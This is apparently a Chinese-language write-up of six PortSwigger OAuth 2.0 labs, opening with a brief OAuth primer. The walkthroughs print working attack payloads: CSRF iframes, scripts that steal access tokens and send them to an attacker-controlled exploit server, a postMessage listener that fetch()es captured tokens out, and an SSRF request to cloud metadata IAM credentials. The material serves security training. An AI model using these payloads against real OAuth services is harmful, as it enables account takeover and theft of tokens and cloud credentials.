OAuth 2.0
OAuth是一个关于授权(authorization)的开放网络标准,在全世界得到广泛应用,目前的版本是2.0版。
1、专用名词
Third-party application:第三方应用程序
HTTP service:HTTP服务提供商
Resource Owner:资源所有者
User Agent:用户代理
Authorization server:认证服务器
Resource server:资源服务器
2、运行流程
(A)用户打开客户端以后,客户端要求用户给予授权。即登陆页面
(B)用户同意给予客户端授权。点击
(C)客户端使用上一步获得的授权,向认证服务器申请令牌。
(D)认证服务器对客户端进行认证以后,确认无误,同意发放令牌。
(E)客户端使用令牌,向资源服务器申请获取资源。
(F)资源服务器确认令牌无误,同意向客户端开放资源。
3、客户端的授权模式
客户端必须得到用户的授权(authorization grant),才能获得令牌(access token)。OAuth 2.0定义了四种授权方式。
授权码模式(authorization code)
简化模式(implicit)
密码模式(resource owner password credentials)
客户端模式(client credentials)
详情请参考http://www.ruanyifeng.com/blog/2014/05/oauth\_2\_0.html
Burp Oauth2.0 靶场
1、Lab: Authentication bypass via OAuth implicit flow
1.1、靶场描述
flag:登陆Carlos的账户,email是carlos@carlos-montoya.net
自身账号:wiener:peter
1.2、Write UP
访问地址
点击My Account,进入登陆界面
使用账号登陆wiener:peter
登陆成功,查看HTTP history中的数据包
其中第一个是
/auth?client_id=ppvrwaccjhd7cmgzryiwk&redirect_uri=https://0a36000f03f61bb387c9f362002500a9.web-security-academy.net/oauth-callback&response_type=token&nonce=1823115617&scope=openid%20profile%20email
重定向到/interaction/-ELJsYcD8gnBiyZJKahZG
其中有/oauth-callback接口泄露部门接口信息
当中的两个数据包
/me是获取账号的信息
/authenticate应该是获取授权令牌,此处可以修改email登陆目标用户
修改
成功登陆
2、Lab: SSRF via OpenID dynamic client registration
2.1、靶场描述
flag:
SSRF请求http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/获取secret
账号:wiener:peter
2.2、Write UP
进入环境
redirect_uri=https://0a290070030e1ea2800c179400ab006e.web-security-academy.net/oauth-callback
/.well-known/openid-configuration泄露reg路径
向OAuth服务注册您自己的客户端应用程序。提供一个redirect_uris数组,其中包含用于假冒应用程序的回调URI的任意白名单
在Repeater中,返回到您之前创建的POST /reg请求。添加logo_uri属性。右键单击并选择“插入Collaborator有效负载”以粘贴Collaborator URL作为其值
在Repeater中,转到GET /client/CLIENT-ID/logo请求。将路径中的CLIENT-ID替换为您刚刚复制的新路径并发送请求。
转到Collaborator选项卡对话框并检查是否有任何新的交互。请注意,有一个HTTP交互试图获取您不存在的徽标。这确认您可以成功地使用logo_uri属性从OAuth服务器引出请求。
将当前的logo_uri值替换为"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
得到client_id
请求/client/5Ae86AFXUVxLjuY0cYO88/logo得到敏感信息
输入秘钥后,成功解决方案。
3、Lab: Forced OAuth profile linking
3.1、靶场描述:
flag:To solve the lab,
use a CSRF attack to attach your own social media profile to the admin user's account on the blog website,
then access the admin panel and delete carlos.(删除carlos账户)
账号:
Blog website account: wiener:peter
Social media profile: peter.wiener:hotdog
3.2、Write UP
进入靶场之后,登陆wiener账号
点击之后,绑定社交账号
peter.wiener:hotdog
退出登录,然后点击“我的帐户”返回登录页面。这一次,选择“使用社交媒体登录”选项。注意,您通过新链接的社交媒体帐户立即登录。
在HTTP History中,研究附加社交配置文件的一系列请求。在GET /auth?client_id[...]请求中,观察到用于此功能的redirect_uri将授权代码发送到/oauth-linking。重要的是,请注意请求不包含用于防止CSRF攻击的state参数。
退出登录之后,选择
打开代理拦截并再次选择“附加社交配置文件”选项。
拦截到GET /oauth-linking?code=[...]的请求,并复制这个url,然后drop掉
https://0a250013047de4be803b12680079004a.web-security-academy.net/oauth-linking?code=ACuhLjP0RCdfojaUb2xFIMDGA5OQJnzt1cLTqrqahqJ
利用iframe标签构造好payload
payload:
<iframe src="https://0a250013047de4be803b12680079004a.web-security-academy.net/oauth-linking?code=ACuhLjP0RCdfojaUb2xFIMDGA5OQJnzt1cLTqrqahqJ"></iframe>
点击Deliver exploit to victim
向受害者提供漏洞利用。当他们的浏览器加载iframe时,它将使用您的社交媒体配置文件完成OAuth流程,将其附加到博客网站上的管理员帐户
返回到博客网站,再次选择“使用社交媒体登录”选项。登陆之后,变成administrator权限
删除carlos即可
4、Lab: OAuth account hijacking via redirect_uri
4.1、靶场描述
flag:delete the user carlos
账号:wiener:peter
4.2、Write Up
1、重定向到redirect_uri以及查询字符串中的授权代码
2、redirect_uri参数可随意修改,可获取到code
3、在日志当中可查看到code
4、返回到漏洞利用服务器,并在/acurie上创建以下iframe:
<iframe src="https://oauth-0aa800da04f5f60484d9437702dd00cb.oauth-server.net/auth?client_id=lkx6id52xcm9jzavwxi0r&redirect_uri=https://exploit-0a2e000c0480f6ae847b44fe010d008c.exploit-server.net/&response_type=code&scope=openid%20profile%20email"></iframe>
5、在漏洞利用服务器上保存,并发送
获取到code值
请求拼接的code
删除carlos用户
5、Lab: Stealing OAuth access tokens via an open redirect
5.1、靶场描述
flag:窃取管理员用户帐户的访问令牌。使用访问令牌获取管理员的API密钥
账号:wiener:peter
5.2、Write Up
1、抓取登陆过程中的流量,在其中发现流程如下:
1、/auth?client_id=zi7jtznjnzmg89d0ve447&redirect_uri=https://0ab700e40378e2b6802a2b9e000f0037.web-security-academy.net/oauth-callback&response_type=token&nonce=-1287498302&scope=openid%20profile%20email
2、/me
3、/authenticate
/auth?client_id接口用于获取到access_token。
/me接口获取到自身的数据
从代理历史记录中,找到最新的 GET /auth?client_id=[...]
请求并将其发送到 Repeater。
注意:/auth?client_id=[...]的返回包一定带token
redirect_uri不可控,白名单控制
通过将 redirect_uri
参数更改为以下方法,确认该参数实际上容易受到目录遍历的影响,返回包当中存在accesstoken
https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1
发现会被重定向到主页的文章当中
文章下面存在next post
数据包如下:存在接口/post/next?path=/post?postId=1,
path参数可控
制作一个结合了这些漏洞的恶意 URL。您需要一个 URL,该 URL 将启动 OAuth 流,redirect_uri
指向打开的重定向,随后将受害者转发到您的漏洞利用服务器:
https://oauth-0aba00df033be2f88052299d02390064.oauth-server.net/auth?client_id=zi7jtznjnzmg89d0ve447&redirect_uri=https://0ab700e40378e2b6802a2b9e000f0037.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a3300400334e25f80132a48015b0046.exploit-server.net/exploit&response_type=token&nonce=-1287498302&scope=openid%20profile%20email
修改payload
<script>
window.location = '/?'+document.location.hash.substr(1)
</script>
访问之后,跳转到如下页面
日志当中存在accesstoken
再度修改
<script>
if (!document.location.hash) {
window.location = 'https://oauth-0aba00df033be2f88052299d02390064.oauth-server.net/auth?client_id=zi7jtznjnzmg89d0ve447&redirect_uri=https://0ab700e40378e2b6802a2b9e000f0037.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a3300400334e25f80132a48015b0046.exploit-server.net/exploit/&response_type=token&nonce=-1287498302&scope=openid%20profile%20email'}
else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
点击Deliver exploit to victim之后,查看log,发现10.0.3.226地址(受害者)返回的accesstoken
使用该accesstoken请求接口/me获取到apikey
6、Lab: Stealing OAuth access tokens via a proxy page
6.1、靶场描述
flag:窃取管理员用户帐户的访问令牌,使用访问令牌获取管理员的API密钥
账号:wiener:peter
6.2、Write Up
1、走一遍登陆流程之后,在http history当中发现四个数据包
其中/auth?client_id=用于获取accesstoken
/me用于获取apikey
redirect_uri不可以修改,修改之后返回400
使用../../进行目录穿越发现未受影响
在/post/comment/comment-form发现parent.postMessage({type: 'onload', data: window.location.href}, '*')。
使用postMessage()方法将window.location.htm属性发送到其父窗口,并且允许将消息发布到任何来源
于是在代理历史记录中,右键单击GET/auth?client_id=[…]请求并选择“复制URL”。转到漏洞利用服务器,创建一个iframe,其中src属性是您刚刚复制的URL。使用目录遍历来更改redirect_uri,使其指向注释表单。结果应该如下所示:
<iframe src="https://oauth-0a8100de03a180d9849253ed0290002a.oauth-server.net/auth?client_id=q4si2yws8gsbmlupjz8ju&redirect_uri=https://0afb00c603628054844b55a1008300bc.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1837481288&scope=openid%20profile%20email">
</iframe>
在下面,添加一个合适的脚本,用于侦听web消息并将内容输出到某个位置。例如,您可以使用以下脚本在漏洞利用服务器的访问日志中显示web消息:
<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>
将上述准备好的payload放到exploit-server上,并查看是否加载成功
加载成功
查看日志
替换Authorization,获取到apikey
提交apikey
Last:
-
-
Burp Oauth2.0 靶场
- 1、Lab: Authentication bypass via OAuth implicit flow
- 1.1、靶场描述
- 1.2、Write UP
- 2、Lab: SSRF via OpenID dynamic client registration
- 2.1、靶场描述
- 2.2、Write UP
- 3、Lab: Forced OAuth profile linking
- 3.1、靶场描述:
- 3.2、Write UP
- 4、Lab: OAuth account hijacking via redirect_uri
- 4.1、靶场描述
- 4.2、Write Up
- 5、Lab: Stealing OAuth access tokens via an open redirect
- 5.1、靶场描述
- 5.2、Write Up
- 6、Lab: Stealing OAuth access tokens via a proxy page
- 6.1、靶场描述
- 6.2、Write Up